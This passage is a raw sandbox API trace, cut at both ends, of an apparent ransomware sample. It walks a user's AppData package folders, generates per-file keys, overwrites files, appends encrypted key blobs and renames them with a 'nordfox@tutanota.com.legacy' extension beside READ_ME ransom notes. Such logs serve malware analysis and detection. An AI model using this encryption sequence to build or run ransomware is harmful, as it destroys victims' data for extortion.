lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] GetLastError () returned 0x12 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] GetLastError () returned 0x12 [0161.409] SetLastError (dwErrCode=0x12) [0161.409] FindNextFileW (in: hFindFile=0x2f61758, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.410] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61218 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.410] SetLastError (dwErrCode=0x12) [0161.410] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x833ad684, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x833ad684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd993ac7b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd95f389a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd95f389a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd95f389a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.411] GetLastError () returned 0x12 [0161.411] SetLastError (dwErrCode=0x12) [0161.412] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd95f389a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd95f389a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd95f389a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0161.412] SetLastError (dwErrCode=0x12) [0161.412] GetLastError () returned 0x12 [0161.412] SetLastError (dwErrCode=0x12) [0161.412] GetLastError () returned 0x12 [0161.412] SetLastError (dwErrCode=0x12) [0161.412] FindNextFileW (in: hFindFile=0x2f61218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd95f389a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd95f389a, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd95f389a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0161.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0161.412] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c0 [0161.413] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.413] ReadFile (in: hFile=0x11c0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.413] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.413] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.413] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.414] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.415] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.415] CloseHandle (hObject=0x11c0) returned 1 [0161.415] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0161.418] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c0 [0161.419] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.419] ReadFile (in: hFile=0x11c0, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.436] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.436] WriteFile (in: hFile=0x11c0, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.436] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.437] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.437] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.437] CloseHandle (hObject=0x11c0) returned 1 [0161.437] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.LOG1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.log1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.440] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c0 [0161.441] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.441] ReadFile (in: hFile=0x11c0, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.451] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.451] WriteFile (in: hFile=0x11c0, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.451] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.452] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.452] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.452] CloseHandle (hObject=0x11c0) returned 1 [0161.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0161.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.455] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c0 [0161.455] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.455] ReadFile (in: hFile=0x11c0, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.456] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.456] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.456] SetFilePointer (in: hFile=0x11c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.457] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.458] WriteFile (in: hFile=0x11c0, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.458] CloseHandle (hObject=0x11c0) returned 1 [0161.459] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.461] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70e206ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61798 [0161.461] SetLastError (dwErrCode=0x0) [0161.461] GetLastError () returned 0x0 [0161.461] SetLastError (dwErrCode=0x0) [0161.461] GetLastError () returned 0x0 [0161.461] SetLastError (dwErrCode=0x0) [0161.461] FindNextFileW (in: hFindFile=0x2f61798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70e206ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.461] SetLastError (dwErrCode=0x0) [0161.461] GetLastError () returned 0x0 [0161.461] SetLastError (dwErrCode=0x0) [0161.461] GetLastError () returned 0x0 [0161.462] SetLastError (dwErrCode=0x0) [0161.462] FindNextFileW (in: hFindFile=0x2f61798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.462] SetLastError (dwErrCode=0x0) [0161.462] GetLastError () returned 0x0 [0161.462] SetLastError (dwErrCode=0x0) [0161.462] GetLastError () returned 0x0 [0161.462] SetLastError (dwErrCode=0x0) [0161.462] FindNextFileW (in: hFindFile=0x2f61798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.462] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd111a2b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f612d8 [0161.462] SetLastError (dwErrCode=0x12) [0161.462] GetLastError () returned 0x12 [0161.462] SetLastError (dwErrCode=0x12) [0161.463] GetLastError () returned 0x12 [0161.463] SetLastError (dwErrCode=0x12) [0161.463] FindNextFileW (in: hFindFile=0x2f612d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, 